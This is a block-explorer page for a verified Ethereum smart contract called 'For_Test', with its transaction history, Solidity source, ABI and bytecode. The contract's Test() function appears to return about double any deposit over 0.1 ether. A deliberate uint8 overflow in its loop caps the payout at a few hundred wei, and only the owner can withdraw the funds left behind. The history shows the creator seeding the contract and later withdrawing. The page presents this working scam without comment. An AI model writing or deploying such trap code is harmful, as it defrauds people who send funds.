ETH Price: $3,433.12 (+2.72%)
Gas: 46 Gwei

Contract

0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Withdraw72033852019-02-10 17:17:481846 days ago1549819068IN
0x2eCF8D1F...0B69Eb229
0 ETH0.000119183.99999952
Withdraw71939822019-02-08 17:24:151848 days ago1549646655IN
0x2eCF8D1F...0B69Eb229
0 ETH0.000151577
Transfer50875352018-02-14 7:24:452207 days ago1518593085IN
0x2eCF8D1F...0B69Eb229
0.1000344 ETH0.000042082
0x6060604050875282018-02-14 7:23:062207 days ago1518592986IN
 Create: For_Test
0 ETH0.000425172

Latest 1 internal transaction

Advanced mode:
Parent Txn Hash Block From To Value
72033852019-02-10 17:17:481846 days ago1549819068
0x2eCF8D1F...0B69Eb229
0.1000344 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
For_Test

Compiler Version
v0.4.19+commit.c4cbbb05

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-02-14
*/

pragma solidity ^0.4.19;

contract For_Test
{
    address owner = msg.sender;
    
    function withdraw()
    payable
    public
    {
        require(msg.sender==owner);
        owner.transfer(this.balance);
    }
    
    function() payable {}
    
    function Test()
    payable
    public
    {
        if(msg.value> 0.1 ether)
        {
            uint256 multi =0;
            uint256 amountToTransfer=0;
             
            
            for(var i=0;i<msg.value*2;i++)
            {
                multi=i*2;
                
                if(multi<amountToTransfer)
                {
                  break;  
                }
                else
                {
                    amountToTransfer=multi;
                }
            }    
            msg.sender.transfer(amountToTransfer);
        }
    }
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"Test","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

6060604052336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550341561004f57600080fd5b6101ff8061005e6000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633ccfd60b1461004e578063a163a62414610058575b005b610056610062565b005b610060610137565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156100bd57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561013557600080fd5b565b600080600067016345785d8a00003411156101ce576000925060009150600090505b600234028160ff16101561018d576002810260ff1692508183101561017d5761018d565b8291508080600101915050610159565b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156101cd57600080fd5b5b5050505600a165627a7a72305820c57265059392e0c48c3e28b7c4348108a5c46748e9348cf78b420b72bda164ff0029

Deployed Bytecode

0x60606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633ccfd60b1461004e578063a163a62414610058575b005b610056610062565b005b610060610137565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156100bd57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561013557600080fd5b565b600080600067016345785d8a00003411156101ce576000925060009150600090505b600234028160ff16101561018d576002810260ff1692508183101561017d5761018d565b8291508080600101915050610159565b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156101cd57600080fd5b5b5050505600a165627a7a72305820c57265059392e0c48c3e28b7c4348108a5c46748e9348cf78b420b72bda164ff0029

Swarm Source

bzzr://c57265059392e0c48c3e28b7c4348108a5c46748e9348cf78b420b72bda164ff

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Txn Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.